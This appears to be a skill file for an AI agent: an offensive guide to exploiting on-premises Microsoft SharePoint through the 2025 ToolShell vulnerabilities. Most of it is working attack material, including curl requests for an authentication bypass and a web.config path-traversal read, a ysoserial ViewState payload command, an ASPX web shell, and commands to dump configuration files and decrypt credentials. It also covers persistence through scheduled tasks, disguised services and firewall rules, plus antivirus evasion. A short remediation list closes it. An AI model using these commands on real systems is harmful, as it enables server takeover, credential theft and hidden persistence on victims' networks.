Sharepoint Pentest

SharePoint Pentesting & Exploitation

⚠️ AUTHORIZED USE ONLY - This skill is for authorized security assessments, penetration testing, and incident response. Always have written authorization before testing any system.

This skill covers practical techniques to enumerate, exploit, and post-exploit Microsoft SharePoint (on-premises) environments. SharePoint is built on ASP.NET/IIS, so classic web attack surfaces apply, plus hundreds of proprietary endpoints that dramatically expand the attack surface.

Quick Start

# 1. Enumerate the target
./scripts/sharepoint-enumerate.sh <target-host>

# 2. If vulnerable, generate exploit payloads
python3 scripts/sharepoint-viewstate-forgery.py --help

# 3. Extract configuration files post-exploitation
./scripts/sharepoint-config-extractor.sh <target-path>

1. Enumeration

1.1 Identify SharePoint

Check for SharePoint-specific indicators:

# Favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # Returns WCF/XSI

# Version leakage (often in JavaScript)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# Check for vulnerable ToolPane endpoint
curl -s -I https://<host>/_layouts/15/ToolPane.aspx

1.2 Enumerate Standard Paths

# Interesting standard paths to check
/_layouts/15/ToolPane.aspx               # Vulnerable page in 2025 exploit chain
/_vti_bin/Lists.asmx                     # Legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
/_vti_bin/owssvr.dll
/_vti_bin/soap.dll

1.3 Enumerate Sites & Site Collections

# Requires at least Anonymous access
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. The 2025 Exploit Chain (ToolShell)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> allows arbitrary Server-Side Include code injection that gets compiled by ASP.NET.

Attack pattern:

1. Inject C# code via DefaultWebPartId parameter
2. Code executes Process.Start() and drops malicious ViewState
3. Leads to server-side code execution

2.2 CVE-2025-49706 – Authentication Bypass

The same page trusts the X-Forms_BaseUrl header to determine site context. By pointing it to /_layouts/15/, MFA/SSO enforced at the root site can be bypassed unauthenticated.

Bypass technique:

curl -X POST https://<host>/_layouts/15/ToolPane.aspx \
  -H "X-Forms_BaseUrl: https://<host>/_layouts/15/" \
  -H "Referer: https://<host>/_layouts/15/" \
  -d "<payload>"

2.3 CVE-2025-53770 – ViewState Deserialization → RCE

Once you control a gadget in ToolPane.aspx, post an unsigned (or MAC-only) __VIEWSTATE value that triggers .NET deserialization inside w3wp.exe.

If signing is enabled:

1. Steal ValidationKey/DecryptionKey from web.config (see 2.4)
2. Forge payload with ysoserial.net or ysodom

# Generate ViewState payload
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | \
  ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Send a crafted Source parameter to ToolPane.aspx to return targeted files:

# Extract web.config
curl "https://<host>/_layouts/15/ToolPane.aspx?Source=../../../../web.config"

# Extract other config files
curl "https://<host>/_layouts/15/ToolPane.aspx?Source=../../../../ApplicationHost.config"

What you get:

• <machineKey validationKey="…" decryptionKey="…"> → forge ViewState/ASPXAUTH cookies
• Connection strings & secrets
• Application configuration

2.5 ToolShell Workflow (Observed in Ink Dragon Intrusions)

1. Header spoofing for auth bypass - POST to /_layouts/15/ToolPane.aspx with fake X-Forms_BaseUrl and Referer headers
2. Serialized gadget in same request - Body includes attacker-controlled ViewState/ToolPart data
3. Internet-scale scanning - Enumerate every reachable ToolPane.aspx endpoint
4. Immediate staging - Drop loader or PowerShell stager that:
   • Dumps every web.config
   • Plants ASPX webshell for contingency access
   • Schedules local Potato privesc to escape IIS worker

3. Post-Exploitation

3.1 Exfiltrate All Config Files

# Variation 1: Batch extract all .config files
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

The resulting debug_dev.js can be downloaded anonymously and contains all sensitive configuration.

3.2 Deploy ASPX Web Shell

# Variation 2: Base64-encoded deployment
powershell.exe -EncodedCommand <base64>

Shell template:

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
    protected void Page_Load(object sender, EventArgs e){
        Response.Write(MachineKey.ValidationKey);
        // echo secrets or invoke cmd
    }
</script>

Write location:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

3.3 Decrypt Protected Configuration

Once on the web tier, decrypt protected sections:

# Decrypt connectionStrings
aspnet_regiis.exe -px "connectionStrings" C:\temp\conn.xml -pri

# Decrypt appSettings
aspnet_regiis.exe -px "appSettings" C:\temp\settings.xml -pri

This reveals SQL logins, SMTP relays, and custom service credentials.

3.4 Lateral Movement Patterns

1. Recycle app-pool accounts - Many enterprises reuse IIS APPPOOL\SharePoint across farms
2. Test credentials - Use decrypted credentials over SMB/RDP/WinRM to sibling servers
3. Abuse leaked machineKey values - Reusing validationKey/decryptionKey allows lateral ViewState exploitation between internal SharePoint zones

3.5 Persistence Patterns

Scheduled tasks:

# One-shot task (often missed by telemetry)
schtasks /create /tn "SYSCHECK" /ru SYSTEM /sc once /st <hh:mm> /tr "<payload>"

Masqueraded services:

# Services like WindowsTempUpdate, WaaSMaintainer
sc create "WindowsTempUpdate" binPath="<malicious-path>" start=auto

Firewall downgrades:

# Permissive outbound rule masquerading as Defender
netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

4. Detection & Evasion

4.1 What Defenders See

• Header anomalies - Unusual X-Forms_BaseUrl values
• ViewState patterns - Unusually large or malformed ViewState parameters
• File access - Access to web.config via ToolPane.aspx
• Process spawning - w3wp.exe spawning cmd.exe or powershell.exe
• Network - DNS TXT record queries (AK47C2 variant), unusual outbound connections

4.2 Evasion Techniques

• Obfuscation - Single-letter variable names, Thread.Sleep() for timing-based AV bypass
• DLL side-loading - Place malicious DLL next to legitimate executables (e.g., 7z.exe)
• Masquerading - Use legitimate Windows component names for services and firewall rules
• Chunked communication - Split long queries across multiple requests

5. Remediation

5.1 Immediate Actions

1. Patch immediately - Apply Microsoft security updates for CVE-2025-49704/49706/53770/53771
2. Rotate machineKey - Change validationKey/decryptionKey in web.config
3. Audit app-pool accounts - Ensure unique credentials per server
4. Review scheduled tasks - Check for persistence mechanisms
5. Scan for webshells - Look for suspicious .aspx files in _layouts directories

5.2 Long-term Hardening

1. Disable anonymous access - Where possible
2. Implement WAF rules - Block suspicious ViewState patterns
3. Monitor _layouts endpoints - Alert on unusual access patterns
4. Segment SharePoint - Limit lateral movement opportunities
5. Regular credential rotation - Especially for app-pool accounts

6. References

• Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
• GitHub PoC – ToolShell exploit chain
• Microsoft Security Advisory – CVE-2025-49704 / 49706
• Unit47 – Project AK47 / SharePoint Exploitation & Ransomware Activity
• Check Point Research – Inside Ink Dragon

7. Related Skills

• IIS post-exploitation & web.config abuse
• ASP.NET ViewState exploitation
• .NET deserialization attacks
• Windows privilege escalation (Potato variants)
• DLL side-loading techniques